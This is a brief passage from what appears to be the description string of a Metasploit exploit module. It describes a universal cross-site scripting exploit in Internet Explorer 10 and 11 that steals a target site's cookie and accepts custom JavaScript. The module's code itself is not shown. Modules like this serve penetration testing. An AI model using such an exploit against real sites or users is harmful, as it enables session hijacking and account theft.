'Description' => %q{
This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet
Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot
have X-Frame-Options or it will fail). You can also have your own custom JavaScript
by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if
you are behind NAT.
